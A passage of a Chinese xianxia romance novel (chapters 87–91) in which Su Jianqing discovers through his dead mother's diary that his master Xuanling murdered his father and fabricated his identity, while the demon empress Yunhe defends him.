蕴禾反手又把青珠挂在他脖颈上,“你先戴着,此处出现得蹊跷,你戴着我也能安心。” 她执意如此,苏见清只好无奈一笑,“好。” 想到危险,蕴禾从储物手链里取出九宫净蕊,“你先把它吃下。” 这地方灵气充裕,安静无人,他们一时半会儿又出不去,索性让苏见清先恢复修为。 他有修为傍身,她也能放心。 苏见清微愣,怔怔看着蕴禾手心的九宫净蕊。 他原本以为自己已经习惯了没有修为的日子,当个普通凡人也并无大碍,可此时此刻,当他看着这株神草,感受到胸腔内不断跳动的心跳时,苏见清才意识到。 他不甘。 这么多年,他早已将修炼刻在骨子里,哪怕在夜深人静之时劝说自己无数次,但内心深处终究是不甘的。 他不想遇到危险时只能躲在阿蕴姑娘身后,他想与她并肩战斗,想成为能配得上她的人。 他还想杀敌,护卫他守护了多年的玄清域。 想……回一次伏渊,亲口问问师尊,他为什么要这么对他。 他真的是他口中的救世主吗? 苏见清心绪难平。 他深吸一口气,在蕴禾清澈的眸光里,拿过那株九宫净蕊,缓缓吃下。 花蕊在进入口腔时化为一股暖气,苏见清轻声道:“阿蕴姑娘,我可能要闭关几日。” 蕴禾摆手,随意道:“你只管去,我替你护法。” 苏见清心中生暖,笑着点头,“好。” 话音甫落,他闭眼,炼化九宫净蕊内蕴含的能量。 蕴禾托腮安静看着他,分出一缕神识放在苏见清身上,缓缓闭上眼。 苏见清这一闭关就是三日。 第四日,蕴禾早就已经醒了,去桃林里摘了十几个桃子,慢慢悠悠往竹屋走。 放在苏见清身上的神识一直在向她传递他的情况,因此在他身上气息变换的第一瞬间,蕴禾便察觉到了。 一个闪身,她回到竹屋。 苏见清还未醒,但他的气势却每一瞬间都在变化,前一瞬还是个修为尽废的普通人,后一息身上气息就已攀升至练气期。 练气一层、二层、三层……九层。 筑基初期、筑基中期……金丹巅峰、元婴初期、元婴中期、元婴巅峰。 苏见清骤然睁眼,眼里仿佛有无数道剑气纵横,眸底剑光大盛,竟是直接从元婴初期晋升到了元婴巅峰。 “阿蕴姑娘!” 苏见清面上含笑走向蕴禾,眼角眉梢都夹杂着喜悦,“我的修为恢复了。” 蕴禾弯着眼笑,“恭喜啦。” 苏见清摇头,面色舒缓,“我该谢谢阿蕴姑娘,若非你替我寻到神草,或许这辈子我都不能恢复修为。” 蕴禾挑眉,“本皇自己的妖后,我不帮谁帮?” 她说得如此理所当然,苏见清唰地红了脸,嘴唇张阖数次,支支吾吾的不知道在说什么。 蕴禾原本饶有兴致地盯着他带着薄红的脸看,忽然想起一事,从储物手链里取出一枚玉简递给他。 “你试试,这东西能不能打开?” 苏见清拿过,将神识注入其中,眼前骤然有金光闪现,似有几行字闪现。 他礼貌地并未多看,把玉简交还到蕴禾手里,“开了,阿蕴姑娘你看看?” 蕴禾迫不及待把神识注入玉简,片刻后,她脸上神情凝住,像是看到了难以理解之事。 “阿蕴姑娘?” 苏见清见她神情凝重,不解道:“这里面是什么?” 阿蕴姑娘为什么要他打开? “没什么。” 蕴禾把玉简收好,避之不谈,“既然你的修为已经恢复了,那我们现在先研究研究怎么从这里出去。” 她不愿多谈,苏见清也不追问,点头应:“好。” 两人一道走出竹屋,往庄园前院走去。 刚到大门,蕴禾下意识将苏见清扯到身后,抬手给二人罩上一层结界,拧着眉头仰望天空。 苏见清最初不明所以,但渐渐地也感受到了什么,浑身肌肉绷紧,唤出多日未见的长虹,将剑柄紧紧握在掌心。 片刻后,一道剑光从天空坠落,直直落在庄园前的空地上,“轰——”的一声,绿草茵茵的草地霎时裂开一道裂缝。 肉眼可见的,草地开始挪动,那道裂缝不断缩小,最终融为一体,仿佛方才的一切并未发生。 “哎呀,没事呢。” 一道沙哑难听的嗓音在空中回荡,“看来这么多年,你依旧毫无长进。” 剑光如闪电闪现,另一道声音道:“本尊虽未伤你,但你也未伤本尊分毫,难不成,你也毫无长进?” 听到这道声音,苏见清瞳孔扩张,猛地看向天空。 空中撕开一道缝隙,两道身影从中落下。 其中一人身着黑袍,头戴兜帽,两手揣在袖中,平平无奇的五官上生了一双多情桃花眼,笑意盈盈注视对面之人。 “长没长进,试试不就知道了?” 那人穿一袭白衫,衣衫上绣着精致金线云纹,白发如雪,五官俊美如刀削斧凿,眼神却似千年不化的冰雪,带着浓烈的厌恶憎恨。 “那就试。” 话音落下,黑袍男子眸光一冷,两人同时出手,瞬息间战在一处。 第88章 苏见清仰头看着天空中的人影,不可置信地低声喃喃,“师尊?他怎么会在这里?” 剑气纵横,仿佛要将整片天割成数片。 玄陵冷着脸,招招都下了死手,仿佛恨不得将对面的人千刀万剐。 黑袍男子不遑多让,黑气在他周身凝结,化为八条长龙朝着玄陵咆哮而去。 两人在空中打得你死我活。 蕴禾凝视黑袍男子的身影,拧着眉头沉思,片刻后,她犹疑道:“难不成是他?” 苏见清耳尖,不由问道:“谁?” “能和玄陵打成平手的,修真界可没几个。” 蕴禾指着自己,“本皇是一个,没被废修为的流风是一个,剩下一个嘛……在魔域。” 苏见清怔住,“他……是魔尊弼隰?” 蕴禾点头,“八.九不离十了。” 苏见清低声,“从未听师尊提起,他与魔尊相识。” 蕴禾看不惯玄陵很久了,趁机上眼药,“看他们这架势想来结怨已久,你师尊从小就让你杀魔修,说不准就是因为与弼隰有仇,却又打不过他,只好培养你来替自己报仇,他不费吹灰之力就能坐享其成。” 苏见清下意识反驳,“师尊他不是这样的人。” 蕴禾一听这话就翻白眼,“摸摸自己身上的伤,再把这话对自己说一遍。” 不等苏见清答话,蕴禾又道:“哦,你身上的伤已经好了,好了伤疤就忘了疼是吧?” 她心里有气,存心道:“你要是这么放不下你师尊,本皇现在就把结界扯了,让你们师徒团聚去。” “阿蕴姑娘。” 苏见清急声解释,“我并无此意。” 蕴禾冷着脸不看他。 苏见清眉眼着急,连眸色都暗淡不少,抿抿唇,试探性伸出手勾住蕴禾的,“我、我还要当妖后呢,怎么能回伏渊?” 这回蕴禾心里舒坦了,反手攥住苏见清的手,没好气道:“想当妖后?你做梦呢吧?给你个妖妃都算好的。” 苏见清眉心舒展,笑意清浅,“妖妃也好。” 蕴禾眼里酝出笑,还想说什么,这片天地忽然一阵摇晃,抬头一看,那两人战意正浓,此地自我恢复的速度,根本比不上他们制造疮痍的速度。 蕴禾稳住身形,正凝神寻找离开的机会,一道身影陡然往远方急掠而去,玄陵惊怒的声音在空中响起。 “混蛋,你敢!” 弼隰含笑的嗓音远远传来,“带走我自己的东西罢了,有什么敢不敢的?” 玄陵往前走动两步,眉间夹杂森森冷意,他勾唇嘲讽一笑,“那本尊倒要看看,你拿不拿得走。” 两手结阵,一柄灵剑自他身后升起,直直飞向弼隰的方向。 灵剑抢在他之前,狠狠落在那座竹屋上。 弼隰怒不可遏,“玄陵,本尊要杀了你!” 玄陵冷笑,“本尊就在这儿等着,看你如何杀我。” 黑影弹射而来,冲天黑气占据半边天空,杀气腾腾朝着玄陵而来。 苏见清内心复杂不已,不由往结界外迈出一步。 下一瞬,一股强烈的吸力从脚底传来,他震惊低头,“阿蕴……” 蕴禾回头,“怎么……” 看清情形,她一惊,同样往外迈一步。 脚下灵光闪过,两人的身影一道从原地消失。 …… 滴答。 耳畔再度响起那道扰人的滴水声,但这次蕴禾睁眼的时候,清清楚楚地看见不远处石壁上有水往下滴。 视线凝聚,她才意识到那并不是水,而是某种凝液,妖气刚飘过去,立即从那凝液里感受到浓烈的灵气。 这浓度是她生平仅见,怕是外面上百颗灵石,才抵得过这一滴。 将注意力从凝液上收回,蕴禾去寻苏见清的身影。 “苏见清,苏见清?” 蕴禾疾走过去摇晃苏见清的身体,“快醒醒。” 接连两次发生意外都是因为苏见清,蕴禾怀疑,苏见清和这地方一定存在某种联系。 “苏见清,快醒醒。” 年轻剑修的睫毛动了动,苏见清悠悠转醒,“阿蕴姑娘?” “是我。” 知道他没事,蕴禾放下了心,“你快起来。” 她抬头打量周围,“我们又来到了奇怪的地方。” 苏见清站起,跟随蕴禾的视线巡睃四周。 他们所处之地像是条长廊,两侧不知由什么东西建造,散发着浓郁的灵气,前方幽幽泛起光亮,不知通向何方。 苏见清问:“要去看看吗?” 蕴禾毫不犹豫点头,“去。” 后方无路,前面不管是什么,她都得去闯闯。 两人并肩而行,缓步往前行进。 随着深入,两侧石壁缓缓有壁画显现,那上面画的应该是鸿蒙初开时的场景,一群仙人腾云驾雾,下方人妖两族并立。 渐渐地出现了魔族的身影,他们与人妖一样,对着仙人俯首供奉。 前面的壁画呈现出的皆是平和宁静的场面,后面却急转直下,仙人飞升离去,人妖魔追着他们的身影不放,面上神情皆是悲伤。 一名仙人回头,面露不忍。 他留下一具分身,真身随着其余仙人离去。 仙人们走后,那具分身面前出现一扇门,将人妖魔与仙人之间彻底隔绝开。 仙人在门附近开辟洞府,住了下来。他从人妖魔中各收下一名弟子,教导他们如何修炼。 此后千年,这片天地演变为人妖魔三族各占据一片疆域,互不侵犯的局面。 数千年后,仙人坐化,他的人修弟子不舍离去,留在此地娶妻生子,从两人到三人,再到几十上百人,他的家族世代在此繁衍生息,不仅守护着先师旧址,也守着那扇门。 世人称之为,扶风苏氏。 扶风苏氏? 蕴禾在心里默念这个名字,余光瞄了苏见清一眼。 和苏见清一个姓? 后者并未察觉她的目光,注意力始终落在壁画上。 蕴禾并未出声打扰,继续往下看。 数万年后,原本平和的修真界骤然出现变故。 一片汪洋从天而降,淹没了无数生灵。那海内有种生物,拥有妖的外形与能力,却无他们的灵智。 它们嗜杀,见人杀人,见妖杀妖,见魔杀魔。 这片被誉为东海的海域瞬间成为人间炼狱。 而成为仙门守门人的扶风苏氏却在此时发现,他们再也无法聆听仙人的声音。 就连仙门,也隐有崩塌的迹象。 扶风苏氏秉承先祖遗志,以守护仙门、修真界为己任。 他们将祖地移到东海,族人们纷纷出山,击杀妖兽。 那一战里,他们几乎以灭族的代价,阻止了这场浩劫。可惜他们并未发现,魔修被妖兽血气侵蚀,回到魔域后骤然变得嗜杀。 此后数年,人妖两族的联盟分崩离析,魔修处处发动战乱,修真界战乱不休。 直到扶风苏氏再度出山,才让混乱的修真界勉强稳定下来。 可扶风内部的危机也不曾停止。 他们将仙门视为信仰,如何能眼睁睁看着它崩塌? 每任族长用自己的修为和寿命守护仙门,试图将之修复。仙门崩坏的速度降了,但族内新生婴孩的降生数量却少了。 扶风苏氏妄图以凡人之躯修改仙命,因果太大,他们承受不住。 到最后,族人们一一坐化,昔日的庞大家族竟成了一代单传,只留下一个女孩。 蕴禾将最后一幅画面看完,视线落在“女孩”二字上,微微拧起眉。 女孩? 是他们之前看的札记的主人? 苏见清也停了下来,轻轻叹气,“扶风苏氏,丰功至伟。可我在玄清域却从未听过他们的名讳。” 不知为何,他心里忽然有些失落。 蕴禾:“别说你了,我也不知道。” 壁画的尽头是一扇门,两人平复情绪后,蕴禾问:“还要接着往里走吗?” 苏见清点头,“走。” 此处定是扶风苏氏的祖地,已经走到这儿了,他想继续看看里面有什么。 这扇门上绘制着各种走兽奇珍,蕴禾把手放在门上,用力往外一推。 纹丝不动。 她斜了苏见清一眼,陡然抓住他的手放在门上,理所当然道:“我一个人推不动,我们一起。” 苏见清并未起疑,运转灵力,“好。” 两人合力,一道往里推。 还是没动静。 蕴禾蹙眉,难道她猜错了? 视线落在苏见清身上,她来回打量,脑中灵光闪现,再度握住苏见清的手,“再来。” “好。” 苏见清依旧不存疑心,将灵力调至掌心。 蕴禾指尖凝出一道妖力,悄悄在苏见清指尖扎过,一滴鲜血落在门上,它陡然大亮,其上走兽仿佛活了过来,悠远古朴的鸣叫在两人耳畔响起。 下一刻,嘎吱声传开,一道光亮从门内传出。 门开了。 苏见清惊喜,“阿蕴姑娘,门开了。” 蕴禾说不出心里是什么滋味,牵了牵嘴角,“走吧,进去看看。” 出乎意料,门后并非蕴禾所想的陵墓或者牌位,而是一棵硕大的巨树。 此树树干极为粗壮,一眼望去仿佛是道墙。树荫浓密,遮天蔽日,便是上古时期的扶桑神树也不过如此了。 树上闪着灵光,数不清的叶片上面镌刻着人名。 蕴禾收回神识,暗道原来是苏家的家谱。 看了苏见清一眼,她拉着他走上去。 深吸一口气,蕴禾正欲告诉苏见清自己的猜测,却听他“咦”一声,从巨树最下面捞起一片叶子,轻声呢喃上面的名字。 “苏澜溪?” 第89章 苏澜溪?不是苏见清? 蕴禾有些意外。 她低头看去,那叶片上面的的确确亮着“苏澜溪”三个字。 苏见清尚在琢磨,“苏澜溪,看来她就是那本手札的主人。” 蕴禾没说话。 她此时对苏澜溪此人没什么兴趣,她更关注的,是苏见清的身份。 如若苏见清当真是扶风苏氏的后人,玄陵为何要隐瞒他的身份? 目光四处巡睃,蕴禾缓慢移步,仔细观察四周。 苏见清不明所以地跟在她身后。 片刻后,蕴禾忽然“咦”一声,手指抚上石壁,“这里好像有东西。” 正欲唤出青竹,她忽然一顿,拉住苏见清的手,“你试试滴一滴血上去。” “我?” 苏见清拧眉不解,“滴血?为何?” 蕴禾:“让你做你就照做。” 担心滴血失效,她又补充,“滴血后灌注你的所有灵力。” 苏见清虽不明白,但听话照做。 指尖凝出一道剑气,疾速在指腹划过,一滴鲜血溢出,苏见清将之抹在石壁上,旋即手掌印上,调动全身灵力。 掌下石壁骤然发亮,轻微的咔嚓声响起,石壁往两边移动,露出藏在后面的空间。 蕴禾啧一声,“原来是道门。” 苏见清愣在原地。 他有些不明白,为何他的血和灵力能打开这扇门? 脑海里有什么东西一闪而过,却被他强制忽略。 蕴禾拉起苏见清的手,“走吧,进去看看。” 二人进去后,石门无声阖上。 这片空间被布置得极为温馨,仿佛少女的闺房,处处精致。 蕴禾撩起纱帘,望着眼前一幕骤然顿住。 苏见清也随之停下,“怎么了?” 下一瞬,眼前闯入一张石床。石床由千年暖玉打造,散发着温和轻柔的灵蕴。 石床上躺着一人,她生得极好,五官精雕细琢,钟灵毓秀,仿佛天道在她降生时赐下了无尽祝福。 双手置于小腹上,眼睛紧紧闭着,神态安详,气息全无,俨然已逝去多日。 苏见清怔怔地看着她,宛如怕惊动什么,小声道:“她……是苏澜溪吗?” 蕴禾点头,语气复杂,“应该是。” 苏见清心里忽然生出难过,拉着蕴禾上前,安静凝视苏澜溪的面容。 离得近了,那股难过越发旺盛,似一颗巨石落在心头,堵得他喘不过气来。 他鬼使神差伸手,颤抖的指尖想去触摸苏澜溪的脸庞。 一道灵光闪过,手里蓦地出现半本札记,苏见清愣住。 蕴禾疑惑,“这东西从哪儿来的?” 她拉着苏见清席地而坐,“咱们接着看。” 苏见清低头。 狂放潇洒的字迹出现。 【修真界果然比祖地好玩多了,这次出来,我再也不想回去了!】 【哥哥好像有心事,好多次我叫他都心不在焉的。我问他怎么了,他犹豫许久,告诉我自己在修真界还有个仇人,他的父母都死在他手上,他要去报仇。】 【哥哥说那个仇人在伏渊,正好伏渊在招收弟子,他要趁机混进去,潜伏在仇人身边,伺机报仇血恨。】 【我搞不懂,有仇人杀了就是,为何要弄得这么复杂?哥哥却说,那仇人位高权重,修为已至化神,我们一时半会儿杀不了他。】 【我接受了他的说法,却不想去伏渊。修真界这么大这么好玩,我才不要被困在一个宗门里。我给了哥哥一件用来通信的灵器,把他送到伏渊,高高兴兴离开了。哥哥好像很不舍,一直在背后看着我的背影,我心里有一丢丢内疚和惭愧,但我们又不是不见面了,哪用得着这么伤感,我玩累了还是会回来看他的嘛!】 …… 【明天要出发去北都沼泽了,这次回来得去伏渊看看哥哥,上次和他见面是几年前来着?三年还是五年?哎呀,记不清了。】 【今天在北都沼泽捡到一个男人,生得好俊!好漂亮!我喜欢!就是人呆呆的,我问了好几遍才告诉我他的名字。林予清,人长得好看,名字也好听耶!】 【今天林予清为了报答我,特地亲手下厨给我做了一桌菜,别说,他的手艺还不错,好吃!我喜欢。】 【林予清说北都沼泽里有他需要的东西,他要再去一趟,看在他这么弱小的份上,善良正义大方的本姑娘当然要帮他一把了!】 【他对我笑了,笑了!笑起来也好好看。】 【今天我又救了林予清一次,我问他要怎么报答我,他说用真心报答。哈哈哈好呆!这天底下怎么会有他这么呆的人?不过……好像有点可爱?】 【林予清问我要去哪儿,他说要贴身保护我的安全,报答我的恩情。哼,修为还没我高呢,还想保护我?不过看在他真心诚意的份上,我就勉为其难答应他啦。】 【林予清人笨笨的,要是没有我在,他都不知道被骗多少次了。】 【林予清……】 【林予清……】 【林予清……】 …… 【我好像喜欢上了林予清。】 【也不知道他喜不喜欢我?算了,不管了,本姑娘看上的人就是我的,不管喜不喜欢,他都别想逃。】 …… 【林予清说他喜欢我,林予清说他喜欢我,林予清说他喜欢我啊啊啊啊啊!!!!!】 【他超级喜欢我的!!!!】 …… 【我想和林予清结为道侣,不过好像得先见家长?那就带他去和哥哥见一面吧。】 【哇,这么多年没见,没想到哥哥都成大官了!以后他可以罩着我和林予清了!】 【嗯……我得好好想想,结契当天要穿什么,要不回祖地一趟?可以,我明天就带林予清回祖地!】 【哈哈哈他看见祖地呆呆的样子实在是太好笑了!】 【林予清天赋不如我,我得多给他吃点花花草草补补。】 【林予清说,以后每年都能陪我回祖地祭祖,嗨呀,该怎么告诉他,其实我还从没祭过祖?】 …… 【要成亲啦!紧张,开心,激动!】 …… 【……为什么?】 【哥哥是在骗我对不对?林予清接近我怎么可能是为了什么宝物?他这么爱我,怎么会骗我?可为什么,我找不到他了?】 【为什么?】 【究竟是谁在骗我?】 【我一定要找到林予清,我要向他问个明白。】 …… 【找到他了……】 【我从来不知道,哥哥竟对我存了这样的心思。】 【他为什么要这么对我?】 …… 【林予清死了。】 【我……好像怀孕了。】 【我回了祖地,兜兜转转,竟然还是这里。】 【这个孩子在我肚子里不断长大,感受着他的气息,就好像林予清还陪在我身边。】 【嗨呀,养孩子有什么难的,这么多年我不也把自己养得很好吗?】 【我想想啊,要给他吃花花草草,教他读书练剑,带他去祭拜老祖宗,让他知道我们扶风苏氏有多伟大。】 【嗯……她娘虽然没成为什么救世主,但闯荡修真界时也救了不少人好吧,没堕我们苏家的名。】 【也不知道他喜欢什么,不过男孩子的话,会不会对蹴鞠刀剑感兴趣?】 【哈哈哈我准备了好多剑,一定要让他走走他老娘的路,练剑练剑,练到厌倦!】 【孩子今天动了,林予清,我想你了。】 【再过不久孩子就要出生了,但我好像还没给他取名字。我们苏家一脉单传,孩子肯定是要和我姓苏的,叫什么好呢?】 【苏澜溪,林予清。】 【叫苏见清吧,听着就是一家人。】 苏、见、清。 “啪嗒。” 手札从膝上掉落,苏见清呆呆地看着那三个字。 曾经师尊告诉他,他是整个玄清域的希望,他希望有朝一日能见来日,见清明,所以为他取名为苏见清。 他曾以此为荣,在无数个练剑练到手臂酸痛的夜里,用这个名字激励自己。 可没想到,他的名字没有什么守护苍生的期望,只是一个母亲最深切的怀念和祝福。 仿佛河堤开了闸门,巨大的空虚和荒谬感将苏见清淹没。 他怔怔看着躺在石床上的苏澜溪,嗓音带出哽咽。 “我不是我爹娘的儿子,她……才是我的母亲?” 蕴禾握住苏见清的手,点点头,“八.九不离十了。” 晶莹泪水从眼眶中滑落,苏见清哽声,“阿蕴……姑娘,二十多年了,她孤孤单单在这里躺了二十多年,她……会不会怪我从不曾来看过她一眼?” 蕴禾擦去他眼角的泪,温声道:“怎么会?你看这本札记,她这么爱你,怎么会怪你?你只是被人蒙骗了,你只是不知道自己的身世。” 泪水淌过脸颊,眼前母亲的面容变得模糊,苏见清颤抖着伸手,“娘……” 就在这时,蕴禾目光陡然一厉,拉着苏见清飞快转身瞪向石门。 “谁?!” 一道身影悄无声息出现,雪白发丝在空中飞扬。 玄陵看着两人,冷漠脸庞上第一次出现那么明显的情绪波动,不可置信问:“你们怎么会在这里?” 苏见清一惊,倏地抬头望着玄陵。 此时此地,结合苏澜溪手札中的“哥哥”“伏渊”等词汇,他手心发软,眼前眩晕,“师尊,我娘的哥哥,是你吗?” 震惊过后,玄陵面色恢复平静,冷淡道:“你知道了。” 听他承认,苏见清用力掐住掌心,声线颤抖,“为什么?师尊,你为什么要这么做?为什么要隐瞒我的身世,不让我知道我娘的存在。” “当然是因为,你是林予清的儿子。” 提起此人,玄陵面色厌恶,“若不是因为他,溪儿怎么会与本尊决裂,又怎么会死?” 苏见清紧紧抓住蕴禾的手,艰涩问道:“我娘是怎么死的?” 玄陵眸色冷冽,“当然是因为你。” 第90章 “因为我?” 苏见清低声重复。 玄陵眸色冷冽,“若不是为了生你,她怎么会死?” 苏见清神思恍惚。 娘是为了生他才离世的? 手上陡然一重,蕴禾握紧苏见清的手,厌恶的目光直直射向玄陵,“老东西,这个时候还不老实交代。苏见清母亲生前修为高深,怎么会因为产子丧命?是不是因为你从中做了什么?” 这个地方当世知道的人除了苏澜溪便只有玄陵和林予清。 林予清看样子应该是死了,那除了待在祖地的苏澜溪,知道的仅剩玄陵。 他在此处住了多年,肯定有法子进来,蕴禾合理推测,肯定是因为他从中作梗,才导致苏澜溪身死。 玄陵视线落在石床上的苏澜溪身上。 既然苏见清已经出现在此处,隐瞒也无用。 他沉声道:“我想让她拿掉这个孽种,可溪儿固执不听,硬是要将他生下。” 蕴禾冷着脸,“所以,你对她动手了?” 玄陵眸色恍惚,陷入回忆,“我没想伤溪儿,我只想拿掉她肚子里的孽种。” 可他没想到,苏澜溪为了救活自己的孩子,竟拼着最后一股气将他打出祖地,将自己的真气与寿数尽数给了苏见清。 等他再度进入祖地时,看见的却是死去多日的苏澜溪,与被结界包裹住的苏见清。 玄陵不明白,林予清不过是个天赋一般的普通修士,明明他已经将他骗走一剑杀了,为什么苏澜溪还会找到他,与他珠胎暗结? 玄陵永远忘不了那一日,苏澜溪牵着林予清的手,光明正大出现在他面前,质问他为何要杀自己的道侣。 玄陵再也忍不住,对她倾诉了藏在心中多年的情愫。在苏澜溪震惊时,他靠着对她的了解,率先发难,将苏澜溪困住。 随后再不忍心内愤懑,当着苏澜溪的面,无数道剑气几乎将林予清刺成刺猬。 他的妹妹,他爱了多年的溪儿,高傲又洒脱的苏氏遗孤,头一次跪在他面前,只为了请求他放过自己的爱人。 可凭什么? 这个该死的修士从他手里抢走了溪儿,他恨不得将他千刀万剐,怎么*会成全他们? 积压许久的怨恨一齐迸发,玄陵当着苏澜溪的面,再度亲手杀了林予清。 他原以为,只要林予清一死,溪儿便会回到自己身边。可没想到,她竟给了他几乎致命的一剑,毫不犹豫弃他而去。 “你说谁是孽种?” 玄陵睁开眼,陡然听见蕴禾怒声质问:“你搞没搞错,苏澜溪与林予清两情相悦,是堂堂正正的道侣,你哪儿来的脸说她肚子里的孩子是孽种?” “他们并未结契,不算道侣。” 玄陵冷漠地回。 蕴禾险些压不住气,“你脑子真有病,拆穿了一对有情人,还害了救你的恩人,若我是苏澜溪,肯定后悔当初没一剑杀了你,反而养虎为患,害得她无法与心上人相守,唯一的儿子还被你玩弄于股掌中!” “住口!” 玄陵喝道:“溪儿临死前并未取我性命,她心里还是有我的!只不过我用错了方法,才让林予清的影子在她心里根深蒂固。若再来一次,她选择的人定会是我!” 蕴禾低低咒骂一声,“疯子。” 儿子都快死了,苏澜溪哪儿来的工夫和他纠缠?肯定是先保下苏见清的命啊。 这个玄陵该不会有什么陷入自己幻想一类的病症吧? 蕴禾深吸一口气,再度问:“你为什么要编造苏见清的身世,把他接到伏渊?” 玄陵冷声,“这个孽种虽是林予清的种,但他继承了溪儿的天赋,未来定能成为一把最好用的刀。天机曾欠我一个人情,我让他做假预言,以此给了苏见清一个名正言顺的身份。” 玄陵勾唇,嗓音含笑,“果不其然,这么多年下来,他对我言听计从,是我最听话好用的利器。” 蕴禾气得浑身发抖。 这个混蛋! 手忽然被人攥紧,她偏过头去,正好看见一滴泪从苏见清猩红的眼眶里溢出。 “……师尊。” “这是我最后一次叫你师尊。” 苏见清缓缓抬头,将眼泪逼回去,“因为你不配。” 长虹骤然一亮,他持剑攻上去,“你还我爹娘命来!” 玄陵冷呵一声,“不自量力。” 灵光一闪,他握住佩剑,迎面接住苏见清的剑招。 这对昔日的师徒,终究还是走到了这一步。 蕴禾心里松一口气。 能发泄就好,把心里的气都泄出来,不然她真怕把苏见清憋坏了。 耀眼剑光盛满整个房间,蕴禾布下结界护住苏澜溪,紧张的目光一直注视着苏见清。 两人之间的修为差距太大,苏见清一时不敌,被一剑击中。 蕴禾接住他,唤出青竹,气势汹汹地打上去。 两人同处一个境界,蕴禾敏锐察觉到玄陵身上有伤,想来应该是之前与弼隰一战留下的。 她痛打落水狗,使出一棍又一棍,专门往玄陵伤处打。 一时之间,这位堂堂伏渊仙门的仙尊被打得狼狈不堪。 蕴禾边打边骂,“你是怎么进来的?把东西交出来,往后你不准再踏入此地一步,脏了苏见清娘亲的眼!” 玄陵不愿,咬牙忍受。 蕴禾眸光一厉,重重一棍落下,“交出来!” 这一棍打在玄陵胸膛,他吐出一口血,倒在地上许久都没爬起。 刚一抬眼,一根竹子直直立在他眼前。 蕴禾喝道:“把东西交出来!” 玄陵咬牙不言。 “不交是吧?” 蕴禾冷笑一声,“那我就现在把你打死,免得你再来碍眼。” 说着,她立马举起青竹。 “我交。” 玄陵咬牙切齿。 已经许多年没遭受过这种屈辱,他面色阴沉得仿佛能滴出水来,从芥子囊里取出一物。 蕴禾伸手拿过,低头一看,竟是一瓶血。 她咬牙,这个混蛋! 猛地抬头,眼前却已经没了玄陵的身影。 蕴禾骂道:“贪生怕死的鼠辈,还仙尊呢,下次见面,本皇一定要打爆你的头!” 她平复心里的愤怒,转身走向苏见清,把那瓶血交给他。 “喏,这是你娘的。” 苏见清低头,怔怔看着那瓶血。 用力握紧,他跪在苏澜溪床前,声音沙哑地喊:“娘。” “对不起。” “原来这么多年以来,我一直在认贼作父。” 蕴禾蹲在苏见清身边,握住他的手轻声安慰,“你那时候不过是个婴儿,能知道什么?这事不是你的错,要怪就怪那该死的玄陵,满肚子的阴谋诡计。” 苏见清反握住蕴禾的手,把那瓶血放在苏澜溪头侧,低声道:“阿蕴姑娘,我想在这儿多陪陪我娘。” 蕴禾毫不犹豫点头,“好。” 苏见清偏头看她,迟疑道:“可你……不是急着回妖域吗?” “这好歹也是我丈母娘,留下陪陪她怎么了?” 蕴禾理直气壮,“总得让我丈母娘知道我没苛待她儿子吧?” 苏见清忍不住笑。 “阿蕴姑娘,我想把我小时候的模样画下来给我娘看看。” “当然可以。” 蕴禾一口应下,从储物手链里取出纸笔递给他,“喏,画。” 苏见清接过,在屋内桌上认真作画。 他在记忆里寻找自己小时候的模样,一笔一笔画在纸上。 蕴禾也挺好奇的,坐在旁边撑着脸看。 一张张脸成形,她目光忽然在某处定住,拿起那张画纸认真端详。 怎么感觉这张脸好像有些熟悉? 蕴禾拧眉看着画纸上的小男孩,盯了许久,她恍惚间在记忆里翻找出一幅画面。 那时她修为大成,压不住满腔恨意去找那妖王报仇。却不料高估了自己,反被那妖王擒住。 妖王明显还记得她,惊奇道:“这么短的时日,你竟修炼到了这种程度。” 话音里满是欣赏,“不错,这样的天赋,正适合当本王的奴仆。” 他用她的血画出一幅奇怪诡异的图案,蕴禾直觉头痛欲裂,仿佛有什么东西被抽出体内。 疼痛间,她意识到不妙,利用青珠逃之夭夭。 那次伤得太重,蕴禾不知道青珠把自己带去了何处,等她醒来时已经变回了原形。 她面前站着一个小男孩,生得清秀可爱,板着小脸,眼睛却是红的。 他伸向蕴禾伸出手,蕴禾没忍住,一巴掌拍在他手上。 尖锐指尖刺破了小男孩的肌肤,有鲜血淌出来,与她的融为一体。 小男孩愣了许久,轻声道:“你别怕,我会帮你的。” 蕴禾伤得太重,根本没力气从储物手链里拿出灵药,听了这话心中暗忖,你若是救了我,等我大仇得报,我一定用性命保护你。 后来那小男孩果真取出灵丹喂给蕴禾,那阵子她浑浑噩噩的,发生了什么已经记不太清,只依稀记得自己和小男孩待了好几日,他靠着她低低说着什么。 等她伤势好转,那小男孩却已经不见了踪迹。 这么多年以来,蕴禾早就忘了当年的誓言,甚至把那当成是一场梦。 可她没想到,小男孩是真的,而且还是苏见清? 蕴禾深吸一口气,问道:“这是你几岁的画像?” 苏见清看一眼,“应该是七岁。” “你七岁时可下过伏渊?” 苏见清眸光微暗,“下过,正是我去寻父母的时候。” 可千辛万苦找到地方,却见他们抱着刚出生的两个弟弟,高高兴兴地商量着他们的名字,仿佛将他这个儿子忘到了脑后。 时至今日,苏见清依旧记得当时的心情。 像是有一盆凉水从头顶泼下,浇灭他所有的激动兴奋。 然而直到今天,苏见清才知道他们并非自己的亲生父母,这样看来,他们疼爱自己的儿子有什么可指摘的? 他有很好很好的娘亲,不必再去羡慕别人的。 所有的心结烟消云散,苏见清勾唇主动与蕴禾提起,“当时我接受不了跑了出去,在半路见到一只受伤的食铁兽,它很凶,不让我靠近,我费了好大的力气才把丹药喂到它嘴里。” “可惜后来我去给它找吃的,等我再回去时,它已经不在了。” 听到这里,蕴禾恍惚间仿佛看到了当年的小男孩,满怀期待抱着一捧竹子,大步跑在乡间小路上。 她说不清心里是什么感受。 她一直想找出给她和苏见清下同生咒的妖,到时候她一定要亲手把他打入火狱,每日都得去揍他一顿,才能泄出她心里的火气。 可蕴禾从未想过,亲手下了那道咒的不是别人,竟是她自己。 妖王想把她变成自己的妖仆,却没想到蕴禾跑了出去。 她遇见了苏见清,与他鲜血交融,又在心里发出誓言。 至此,同生咒成。 他们的命,生生世世都被绑在一起。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第91章 第91章 “阿蕴姑娘,阿蕴?” 苏见清伸手在蕴禾面前挥了挥,疑惑道:“你怎么了?” 蕴禾缓缓回神,她想告诉苏见清实情,想告诉他,他们的命早在多年前就已经绑在了一起。 刚一张唇,手上忽然一烫,蕴禾眉头紧紧拧起。 苏见清察觉到了,“怎么了?” 蕴禾:“清淼急着让我回妖域。” “清淼大人向来稳重,如此焦急肯定是有大事,阿蕴姑娘还是快些回去吧。” 蕴禾迟疑,“可是你……?” 